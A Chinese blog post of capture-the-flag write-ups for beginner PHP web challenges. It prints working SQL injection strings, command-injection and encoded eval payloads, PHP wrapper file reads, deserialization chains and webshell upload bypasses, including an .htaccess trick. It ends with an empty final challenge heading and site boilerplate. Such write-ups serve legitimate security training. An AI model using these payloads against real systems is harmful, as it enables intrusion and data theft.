NSS【web】刷題

[SWPUCTF 2021 新生賽]jicao

類型:PHP、代碼審計、RCE

主要知識點:json_decode()函數

json_decode():對JSON字符串解碼,轉換為php變量

用法:

<?php
$json = {"ctf":"web","question":18};
?
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

代碼審計:

<?php
highlight_file('index.php');
include("flag.php"); //包含一個php文件里面可能有一個$flag對象值為flag
$id=$_POST['id']; //發送一個POST請求,傳入一個參數id,定義為對象$id
$json=json_decode($_GET['json'],true); 
//發送一個GET請求,傳入一個參數json;
//true將解析結果以數組形式返回;
//將解析的數組賦值給變量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//當id==wllmNB及$json進行JSON解碼后的x的關聯值為wllm時,輸出$flag的值
?>

結果:

[SWPUCTF 2021 新生賽]easy_md5

類型:弱比較、PHP、數組繞過

主要知識點:md5弱比較、數組繞過

代碼審計:

<?php highlight_file(__FILE__);include 'flag2.php';if (isset($_GET['name']) && isset($_POST['password'])){$name = $_GET['name']; //獲取GET請求中的'name'參數值,并賦值給對象$name$password = $_POST['password']; //獲取POST請求中的'password'參數值,并賦值給對象$passwordif ($name != $password && md5($name) == md5($password)){echo $flag;}//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,輸出$flag的值else {echo "wrong!";}//條件不滿足輸出"wrong!"}
else {echo 'wrong!';
}
//如果未提供'name'或'password'參數,輸出"wrong!"
?> 

特殊字符串

某些特殊的字符串,加密后得到的密文以0e開頭,PHP會當作科學計數法來處理,也就是0的n次方,得到的值比較的時候都相同。此時就是值不同但md5或sha1值相同

常見的密文以0e開頭的字符串

md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
?
?
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

數組繞過

md5(),sha1()函數無法處理數組,如果傳入的為數組,會返回NULL,兩個數組經過加密后得到的都是NULL,也就是相等的。故傳入兩個不同的數組經md5()加密會返回為NULL

?[SWPUCTF 2021 新生賽]include

類型:PHP偽協議、文件包含、PHP

主要知識點:php://filter偽協議

發現并沒有上傳文件的地方

嘗試用php://filter偽協議過濾一下flag.php文件(一般flag都在flag.php中)

條件:

只需要讀取,allow_url_fopen=on;allow_url_include=off

用法:

?file=php://fileter/read=<過濾器名稱>/resource=<要過濾的文件(數據流)>

補充:

php://filter是一種元封裝器:設計用于"數據流打開”時的"篩選過濾”應用,對本地磁盤文件進行讀寫,輸出base64加密后的信息

convert.base64-encode:轉換過濾器,用于過濾base64編碼

擴展:

allow_url_fopen:配置選項,默認開啟,決定了PHP 是否能夠通過URL(而不是本地文件路徑)來打開文件,為on時,fopen()和file_get_contents()等與文件操作相關的函數可以讀取和寫入遠程文件

allow_url_include:配置選項,默認關閉,為on時,PHP 允許通過 URL 的形式,從遠程服務器包含和執行PHP 文件

進入到 flag.php頁面,發現一串base64編碼,解碼后即為flag

[SWPUCTF 2021 新生賽]easy_sql?

類型:SQL注入

主要知識點:union聯合注入

先用?id=1'嘗試發現沒變化這時發現網站標題叫“參數是wllm”,所以用?wllm=1'嘗試,回顯成功

用?wllm=1\判斷閉合方式,發現是單引號注入

用union聯合注入嘗試

?wllm=-1' union select 1,2,3--+

?回顯成功

查詢庫

?wllm=-1' union select 1,2,database()--+

爆表

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆列

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查看flag

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+

[SWPUCTF 2021 新生賽]easyrce

類型:RCE、PHP

主要知識點:RCE

直接?url=system("ls");

?發現回顯index.php文件,查看其目錄?url=system("ls /");

發現目錄中有疑似flag的內容,用?url=system("cat /flllllaaaaaaggggggg");查看

[第五空間 2021]WebFTP

類型:目錄掃描、信息收集、.git泄露

主要知識點:dirsearch的使用

用bp抓包嘗試爆破但發現需要還需要驗證碼爆破難度大所以應該不是弱口令爆破

用dirsearch掃描發現git泄露

進入查看

找了一圈沒發現flag

重新看掃描結果發現有個phpinfo.php頁面,進入ctrl+f搜索flag,得到flag

[SWPUCTF 2021 新生賽]babyrce

類型:空格繞過、RCE、Cookie注入

主要知識點:Cookie注入、shell_exec()繞過

修改cookie值為admin=1得到rasalghul.php文件

?進入查看

代碼審計:

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {$ip=$_GET['url'];if(preg_match("/ /", $ip)){die('nonono');}//正則匹配空格被禁用$a = shell_exec($ip);//shell_exec()將命令的輸出作為字符串返回,而不是打印到標準輸出。echo $a;
}
?> 

將flag放入1.txt文件中,訪問1.txt文件即可得到flag(但這題直接cat%09/f*就可以出來了不需要再訪問1.txt文件)

[SWPUCTF 2021 新生賽]ez_unserialize

類型:反序列化、PHP

主要知識點:構造pop鏈

用御劍掃描

進入網頁,發現一個php文件

訪問

代碼審計:

 <?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;    //目標}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?> 

構造pop鏈,打開phpstorm

<?phpclass wllm{public $admin;public $passwd;//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "ctf"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo "Just a bit more!";
//        }
//    }
}//$p = $_GET['p'];
//unserialize($p);$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>

輸入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag

[SWPUCTF 2021 新生賽]easyupload2.0

類型:文件上傳、文件頭繞過

主要知識點:不常用的php可執行文件后綴

?

需要提交jpg文件

用bp抓包 ,修改后綴,嘗試雙寫繞過不可行,用其他php可執行文件的擴展名pht、phtml

用蟻劍連接,成功繞過

打開找flag

[SWPUCTF 2021 新生賽]easyupload1.0?

類型:文件上傳、MIME繞過、文件頭繞過

主要知識點:前端繞過

需要提交jpg文件

用bp抓包修改后綴

連接蟻劍

打開找flag

?但是發現這個flag是錯誤的

用phpinfo查看php服務器的配置信息

ctrl+f搜索flag

?或者直接用蟻劍打開終端用env命令查看環境變量也可以發現flag

[SWPUCTF 2021 新生賽]no_wakeup

類型:反序列化、PHP

主要知識點:構造pop鏈、繞過_wakeup()

點進去查看

代碼審計

 <?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}    //反序列化之前觸發wakeup,給passwd賦值,導致passwd不等于wllmpublic function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;    //目標}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> 

構造pop鏈

<?php
class HaHaHa{public $admin;public $passwd;//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//    public function __wakeup(){
//        $this->passwd = sha1($this->passwd);
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "wllm"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->passwd;
//            echo "No wake up";
//        }
//    }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>

由于_wakeup()函數將wllm加密導致執行echo $this->passwd;echo ?"No wake up";

故需要繞過_wakeup(),變量數量大于真實的變量數量即可繞過_wakeup()的執行

[LitCTF 2023]PHP是世界上最好的語言!!?

類型:RCE、PHP、無參RCE

提示:探姬堅信PHP是世界上最好的語言,于是她用PHP寫了一個小工具 (Flag位于根目錄)

主要知識點:命令注入

嘗試點擊發現旁邊的空白可以輸入,根據提示嘗試命令注入

發現flag,用system("cat /flag");得到flag

[SWPUCTF 2021 新生賽]PseudoProtocols

類型:PHP偽協議、PHP、文件包含

主要知識點:php://filter偽協議、data偽協議

?用php://filter/read=convert.base64-encode/resource=hint.php查看hint.php文件,發現一串base64代碼

?解碼

訪問test2222222222222.php

代碼審計:

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
//file_get_contents()從一個文件中讀取所有內容,并將其作為一個字符串返回。
//'r'代表只讀模式echo "success\n";echo $flag;
}
?> 

用php://input偽協議來獲取POST數據,POST為I want flag發現沒法查看

用data偽協議查看,得到flag

[LitCTF 2023]導彈迷蹤

類型:JS分析、源碼泄漏、信息收集

?發現是一個游戲,查看源代碼也沒有什么東西,用御劍和dirsearch也沒有掃出東西

直接在js文件里發現flag(一個一個文件找有點麻煩)

[NISACTF 2022]easyssrf?

類型:PHP偽協議、PHP

主要知識點:file偽協議

嘗試輸入一個flag

file:///fl4g查看/fl4g

?訪問ha1x1ux1u.php

擴展:

stristr()查找字符串在另一個字符串中第一次出現的位置。所以不能用?file=file:///flag

直接?file=/flag得到flag

[NCTF 2018]簽到題

類型:HTTP協議、PHP、信息收集

進入后是一個百度頁面,查看源碼沒找到flag,嘗試刪除secret.php,發現刪除不掉,用bp抓包刪除后發送發現flag

?[BJDCTF 2020]easy_md5

類型:弱比較、數組繞過、PHP

主要知識點:md5(string,ture)函數

嘗試提交個1,發現url處多了個?password=1

?嘗試sql注入但發現沒有回顯,感覺不是sql注入

用bp抓包看看,發現一句sql語句

md5()函數

語法:

md5(string,raw)

#string:要加密的字符串

#raw:默認不寫是false,32位16進制字符串;如果是true,則會將輸入值進行加密,然后轉化為16位原始的二進制格式字符串

?輸入的值都被md5(string,true)函數轉化為16位二進制,網上查找要怎么繞過,發現ffifdyop字符串會造成漏洞,md5('ffifdyop',true)=''or'6�]��!r,��b'。由于在mysql里面,在用作布爾型判斷時,開頭為1的字符串(被單引號包裹)會返回為整型數1(如果直接是數字1則不用單引號包裹),1是true。所以,簡化后是password='' or 6,從而繞過md5(string,true)

輸入ffifdyop后進入一個新頁面

?查看源代碼

訪問levell14.php,進入到數組繞過部分

在POST輸入param1[]=1&param2[]=2得到flag

[suctf 2019]EasySQL

類型:堆疊注入、SQL注入、關鍵字繞過

主要知識點:堆疊注入、猜測后端sql語句

輸入1、2、3...嘗試,都返回1

傳入flag,嘗試Union注入、報錯注入、盲注,顯示Nonono

?嘗試堆疊注入,發現可行

爆庫

1;show databases;

爆表

1;show tables;

?用select flag from Flag應該能得到flag但是flag被過濾了

法一:猜測后端查詢語句

猜測后端為:

select $_POST['query'] || flag from Flag
--||表示在Flag表中選擇$_POST['query'] 和flag字段,并將它們連接起來作為結果的一部分

本題傳入數字會回顯1,而傳入字符串則無回顯,所以猜測可能有||結構存在且Flag表中應該有個flag列。當輸入一串字符時||會將這串字符與flag連接起來作為結果,當這串字符和flag兩列都存在時才能正確回顯。假設輸入一個abc,則在后端語句應該會變為:

select abc||flag from <表名>

當表中沒有abc這列時則會返回#1054 - Unknown column 'abc' in 'field list'

構造payload:

如果我們輸入*,1則后端查詢語句會變為:

select *,1||flag from Flag;
--查詢Flag中所有列、常量1和flag列。將1與flag連接起來作為結果,由于數字是常量不會出現在查詢結果中所以結果中只會有flag這列

傳入*,1后得到flag

?方法二:sql_mode

sql_mode:一組語法校驗規則

sql_mode的值作用
ONLY_FULL_GROUP_BY對于GROUP BY聚合操作,如果在SELECT中的列,沒有在GROUP BY中出現,那么這個SQL是不合法的,因為列不在GROUP BY從句中
NO_ZERO_DATEmysql數據庫不允許插入零日期,插入零日期會拋出錯誤而不是警告
ERROR_FOR_DIVISION_BY_ZERO在insert或update過程中,如果數據被零除,則產生錯誤而非警告。如果未給出該模式,那么數據被零除時Mysql返回NULL
PIPES_AS_CONCAT將 || 視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣是,也和字符串的拼接函數concat相類似
ANSI_QUOTES不能用雙引號來引用字符串,因為它被解釋為識別符

設置sql_mode的值為PIPES_AS_CONCAT,則后端查詢語句會變為:

select concat($_POST['query'],flag) from Flag

故構造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1?

后端為:

select 1;
set sql_mode=PIPES_AS_CONCAT;
select concat(1,flag) from flag;

[ZJCTF 2019]NiZhuanSiWei

類型:反序列化、PHP偽協議、PHP

主要知識點:data偽協議、構造pop鏈

分析源碼,用?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php進入查看useless.php內容

得到一串base64編碼,解碼后得到反序列化源碼

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  //觸發時機:把對象當成字符串調用if(isset($this->file)){  echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?> 

目標是訪問到flag.php的內容

構造pop鏈

輸入?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}得到新界面

打開源代碼發現flag

[SWPUCTF 2021 新生賽]easyupload3.0

類型:.htaccess、文件上傳、MIME繞過

主要知識點:.htaccess

上傳一句話木馬jpg文件

打開bp抓包,修改后綴發現被過濾

嘗試用雙寫繞過和不常用的php可執行文件后綴等都無法繞過

發現服務器是Apache

擴展:

.htaccess是apache的分布式配置文件,里面存放著Apache服務器配置相關的一些指令,通過寫入SetHandler application/x-httpd-php,可以將上傳的一句話木馬的jpg文件以PHP的方式執行。

這時候嘗試上傳.htaccess進行繞過。

再次上傳一次shell.jpg的一句話木馬文件,此時打開蟻劍連接/upload/shell.jpg連接成功

打開找flag

[SWPUCTF 2021 新生賽]hardrce

類型:無字母RCE、RCE、WAF繞過

主要知識點:取反繞過、目錄穿越

?代碼審計:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT說不能用這些奇奇怪怪的符號哦!");//$blacklist里的符號、/、/m被過濾了}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul說不能用字母哦!");//字母被過濾了
}
echo "NoVic4說:不錯哦小伙子,可你能拿到flag嗎?";
eval($wllm);//將$wllm轉換為代碼執行,并返回一個或多個值,通過命令注入獲取flag
}
else
{echo "蔡總說:注意審題!!!";
}
?> 蔡總說:注意審題!!!

?用bp嘗試用url編碼繞過發現不行(瀏覽器直接自動解密了)

?這時候想到可以利用取反繞過,構造payload:

<?php$a = "system";
$a = urlencode(~$a);//~:取反寫法
$b = "ls";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

?運行得到

輸入?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

利用目錄穿越

<?php$a = "system";
$a = urlencode(~$a);
$b = "ls ../../../";//目錄穿越,一個一個試
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

輸入得到,發現flllllaaaaaaggggggg

?繼續構造

<?php$a = "system";
$a = urlencode(~$a);  
$b = "cat ../../../flllllaaaaaaggggggg";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>

?輸入得到flag

[SWPUCTF 2021 新生賽]error?

類型:報錯注入、SQL注入

主要知識點:判斷注入方式、報錯注入

?

根據頁面應該使用sql注入

輸入1\判斷閉合符,為單引號閉合

嘗試union注入,發現不可行

嘗試報錯注入

爆庫:

1' and updatexml(1,concat(0x7e,(select database())),'1')#

//這題注釋符好像不能用--+

報表:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db')),'1')#

爆列:

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb')),'1')#

得到一半flag:

1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),1,32)),1)#

得到另一半flag

1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),31,32)),1)#

完整flag:NSSCTF{6f103e1b-68cd-4525-a609-856a71118fbc}?

當然這題也可以用sqlmap直接梭哈

[SWPUCTF 2021 新生賽]pop

類型:反序列化、PHP、代碼審計

主要知識點:pop鏈的構造、代碼審計

 <?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;//目標}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);?> 

?代碼審計:

要得到flag需要觸發Getflag()并使admin=w44m,passwd=08067。由于admin是私有屬性,passwd是受保護屬性所以直接在類里賦值,所以我們需要的就是觸發Getflag()。我們可以借助下面的類進行調用。

我們可以看到w33m類下面有一個調用w00m來調用w22m假設我們將w00m賦值為對象w44m()將w22m賦值為Getflag()那么就可以通過調用w44m類調用Getflag()從而達到目的,要觸發$this->w00m->{$this->w22m}();需要觸發__toString()觸發時機為當將對象當作字符串時,w22m類中有一個echo $this->w00m將w00m賦值為對象new w33m()即可觸發__toString()

構造payload:

<?phpclass w44m{private $admin="w44m";protected $passwd="08067" ;//   public function Getflag(){
//        if($this->admin === 'w44m' && $this->passwd ==='08067'){
//            include('flag.php');
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo 'nono';
//        }
//    }
}class w22m{public $w00m;
//    public function __destruct(){
//        echo $this->w00m;
//    }
}class w33m{public $w00m;public $w22m;
//    public function __toString(){
//        $this->w00m->{$this->w22m}();
//        return 0;
//    }
}//$w00m = $_GET['w00m'];
//unserialize($w00m);$w2 = new w22m();
$w2->w00m=new w33m();
$w2->w00m->w00m=new w44m();
$w2->w00m->w22m="Getflag";
echo urlencode(serialize($w2));
?> 

由于私有屬性和被保護屬性有不可見字符所以需要urlencode,輸入后得到flag

[SWPUCTF 2022 新生賽]ez_ez_php

類型:PHP偽協議、PHP、文件包含

substr(string, int a, int b);

#從第a位截取長度為b的字符串

substr(string, int a) ;

#從第a位截取后面所有的字符串

?從第一位開始如果截取前3位為php則會觸發echo "Nice!!!"; include($_GET["file"]);

基本沒什么影響直接php://filter偽協議就行

解碼

發現flag不在flag.php里真正的flag在flag里重新構造

解碼 得到flag

[SWPUCTF 2021 新生賽]sql

類型:關鍵字繞過、空格繞過、SQL注入

想要我們輸入東西但是并沒有輸入的位置,所以應該是在url中輸入,網頁名給出了參數是wllm,根據題目可知應該是sql注入

用?wllm=1\判斷閉合符,為單引號閉合

?嘗試Union注入、報錯注入、盲注,發現被禁止了且有根據頁面應該有waf存在

先嘗試看看注釋符是否被過濾了用#發現不可行,用#的編碼%23成功繞過

?嘗試空格是否被過濾,發現被過濾

?嘗試用url編碼%20發現不可行,用%09發現可以繞過但是用?wllm=1‘%09group%09by%093%23無法判斷出列數應該還有過濾,將'替換為url編碼%27嘗試,發現成功繞過判斷出列數為3

開始union聯合注入

?wllm=-1'%09union%09select%091,2,3%23

#這里-沒有被過濾直接用就行

?

爆庫

?wllm=-1'%09union%09select%091,2,database()%23

?爆表

?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=%27test_db%27%23

發現不可行應該是過濾了=,用%09like%09嘗試繞過,發現繞過成功

?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09%27test_db%27%23

爆列

?wllm=-1%27%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09%27LTLT_flag%27%23

爆flag

?wllm=-1%27%09union%09select%091,2,group_concat(flag)%09from%09LTLT_flag%23

發現不全,用substring連接試試,發現被過濾了

嘗試用mid連接,成功繞過

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),1,30)%09from%09LTLT_flag%23

發現只顯示了20位,說明一次只會顯示20位字符串,查看中間20位

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),21,20)%09from%09LTLT_flag%23

查看最后幾位

?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),41,20)%09from%09LTLT_flag%23

?

得到完整flag:NSSCTF{a36ebc2d-c62a-4c3a-a4ff-5d175b0cd860}

[LitCTF 2023]作業管理系統

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/11878.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/11878.shtml
英文地址,請注明出處:http://en.pswp.cn/web/11878.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

YOLOV8實戰-和平精英敵我檢測

YOLOV8實戰&#xff0c;從環境配置、數據準備、數據標注、模型訓練、模型導出到源碼分享 前言&#xff1a;效果展示圖片展示視頻展示 簡介&#xff1a;**【YOLOV8是啥&#xff1f;】****【YOLOV8能干啥&#xff1f;有啥應用場景&#xff1f;】** 一、環境準備1、新建一個虛擬環…

多讀書,多鍛煉,勇敢點,去面對,去解決

這些建議都是非常積極和有益的&#xff0c;它們涵蓋了身心健康和個人成長的重要方面。以下是對這些建議的詳細解釋&#xff1a; 多讀書&#xff1a; 拓寬視野&#xff1a;書籍是知識的海洋&#xff0c;通過閱讀&#xff0c;我們可以接觸到各種各樣的思想、文化和經驗&#xff0…

“webpack-dev-server --config build/webpack.dev.conf.js” 請問這個問題要如何修復

解決方案 修改部署方式&#xff1a; 使用 webpack 來打包你的項目&#xff0c;生成靜態文件。在生產環境中&#xff0c;使用 Nginx 或其他 HTTP 服務器來提供服務&#xff0c;而不是使用 webpack-dev-server。 Dockerfile 調整&#xff1a; 確保 Dockerfile 中使用的命令是用于…

ArcGIS Maps :在Vue3中加載ArcGIS地圖

Vue3中使用ArcGIS Maps SDK for JavaScript的步驟 一、創建 Vue 3 項目 1、新建ArcGISAPIProject文件夾&#xff0c;并用vscode打開 2、打開終端&#xff0c;在終端中輸入npm create vitelatest項目名稱vite-vue3-arcgis,選擇vue框架&#xff0c;并選中JavaScript語音創建項目…

Linux中的網絡隔離功能 netns

Network Namespace&#xff08;netns&#xff09; 是Linux內核提供的一項實現網絡隔離的功能&#xff0c;它能隔離多個不同的網絡空間&#xff0c;并且各自擁有獨立的網絡協議棧。通過 namespace 可以隔離容器的進程 PID、文件系統掛載點、主機名等多種資源&#xff0c;它可以為…

水利行業工程設計資質標準

甲級資質&#xff1a; 具有獨立企業法人資格。社會信譽良好&#xff0c;注冊資本不少于600萬元人民幣。企業完成過的工程設計項目應滿足所申請行業主要專業技術人員配備表中對工程設計類型業績考核的要求&#xff0c;且要求考核業績的每個設計類型的大型項目工程設計不少于1項…

vscode調試Electron+ts

調試Electronjs 調試Electronjs: https://www.electronjs.org/zh/docs/latest/tutorial/debugging-vscode 調試Electronts 首先看一下&#xff0c;我的目錄結構。目錄結構決定了launch.json中的路徑部分。我將在項目根目錄下進行調試&#xff0c;項目根目錄下包含electron代碼…

探索QChart:Qt中的數據可視化藝術

目錄標題 1. QChart概述2. 創建QChart對象3. 添加數據系列&#xff08;Series&#xff09;4. 定制圖表外觀5. 交互與動畫6. 圖表布局與管理7. 實例代碼與解析8. 總結 在數字化的世界里&#xff0c;數據是新的石油。然而&#xff0c;原始數據本身往往難以理解&#xff0c;數據可…

數據可視化(十一):Pandas餐飲信息表分析——交叉表、離群點分析,多維分析等高級操作

Tips&#xff1a;"分享是快樂的源泉&#x1f4a7;&#xff0c;在我的博客里&#xff0c;不僅有知識的海洋&#x1f30a;&#xff0c;還有滿滿的正能量加持&#x1f4aa;&#xff0c;快來和我一起分享這份快樂吧&#x1f60a;&#xff01; 喜歡我的博客的話&#xff0c;記得…

golang創建式設計模式------單例模式

目錄導航 1.單例模式1)什么是單例模式 2)使用場景3)實現方式1.懶漢式單例模式2.餓漢式3.雙重檢查式4.sysc.Once式 4)實踐案例5)優缺點分析 1.單例模式 1)什么是單例模式 單例模式(Singleton Pattern)是一種常用的設計模式。單例模式的類提供了一種訪問其唯一對象的方法&#…

RAG系列論文

檢索增強模型&#xff1a; 提出Atlas &#xff1a;預訓練檢索增強模型 Few-shot Learning with Retrieval Augmented Language Models 鏈接 根據輸入問題的不同&#xff0c;挑選合適的提示詞 Learning To Retrieve Prompts for In-Context Learning 鏈接 RAG&#xff1a; M…

【數據結構】線性表--順序表(二)

文章目錄 1、什么是線性表2、線性表的基本操作3、順序表3.1、順序表的定義3.2、順序表的實現方式&#xff1a;靜態分配3.3、順序表的實現方式&#xff1a;動態分配3.4、順序表的特點3.5、順序表的初始化與插入操作3.6、順序表的刪除與查詢 1、什么是線性表 ? 線性表是具有相同…

【Python快速上手(二十二)】

目錄 Python快速上手&#xff08;二十二&#xff09;Python3 使用數據庫-pymysql1. 創建數據庫連接2. 創建數據表3. 插入數據4. 查詢數據5. 使用 WHERE 條件語句6. 排序7. 刪除記錄8. 更新表數據9. 刪除表10.異常處理總結 Python快速上手&#xff08;二十二&#xff09; Pytho…

通過EXCEL控制PLC啟停電機的一種方法

概述 本例將介紹用微軟EXCEL電子表格控制西門子S7-1200 PLC實現電機啟停的一種方法。 第1步&#xff1a; 添加PLC設備&#xff0c;選擇西門子S7-1214C CPU&#xff0c;設置IP地址&#xff1a;192.168.18.18&#xff0c;子網掩碼&#xff1a;255.255.255.0。 第2步&#xff1a…

vue3中通過自定義指令實現loading加載效果

前言 在現代Web開發中&#xff0c;提升用戶體驗一直是開發者們追求的目標之一。其中&#xff0c;一個常見的場景就是在用戶與應用程序進行交互時&#xff0c;特別是當進行異步操作時&#xff08;如網絡請求&#xff09;&#xff0c;為用戶提供即時的反饋&#xff0c;避免用戶因…

Flet初體驗:Python跨平臺開發新選擇

文章目錄 ?? 介紹 ???? 演示環境 ???? 初識Flet ???? 安裝與配置?? 構建第一個Flet應用?? Flet打包:跨平臺的魔法?? Flet與FastAPI的結合?? 總結?? 相關鏈接 ???? 介紹 ?? “探索未知,擁抱創新,Flet讓我在應用開發的世界中找到了新的航標。”…

02 | 該如何選擇消息隊列?

RabbitMQ RabbitMQ 一個比較有特色的功能是支持非常靈活的路由配置&#xff0c;和其他消息隊列不同的是&#xff0c;它在生產者&#xff08;Producer&#xff09;和隊列&#xff08;Queue&#xff09;之間增加了一個 Exchange 模塊&#xff0c;你可以理解為交換機。 問題 Ra…

【循環程序設計-譚浩強適配】(適合專升本、考研)

無償分享學習資料&#xff0c;需要的小伙伴評論區或私信dd。。。 無償分享學習資料&#xff0c;需要的小伙伴評論區或私信dd。。。 無償分享學習資料&#xff0c;需要的小伙伴評論區或私信dd。。。 完整資料如下&#xff1a;純干貨、純干貨、純干貨&#xff01;&#xff01;…

淺談電動汽車充電站的電氣安全

1 引言 1月14日日上午10點左右&#xff0c;青島市市北區遼寧路63號公交停車場內&#xff0c;一輛報廢公交車突然起火&#xff0c;由于大風天氣&#xff0c;大火很快引燃了停在旁邊的幾輛報廢車。消防人員快速趕到&#xff0c;迅速控制住火勢。11時30分&#xff0c;停車場內的…

鴻蒙內核源碼分析(ELF格式篇) | 應用程序入口并不是main

閱讀之前的說明 先說明&#xff0c;本篇很長&#xff0c;也很枯燥&#xff0c;若不是絕對的技術偏執狂是看不下去的.將通過一段簡單代碼去跟蹤編譯成ELF格式后的內容.看看ELF究竟長了怎樣的一副花花腸子&#xff0c;用readelf命令去窺視ELF的全貌&#xff0c;最后用objdump命令…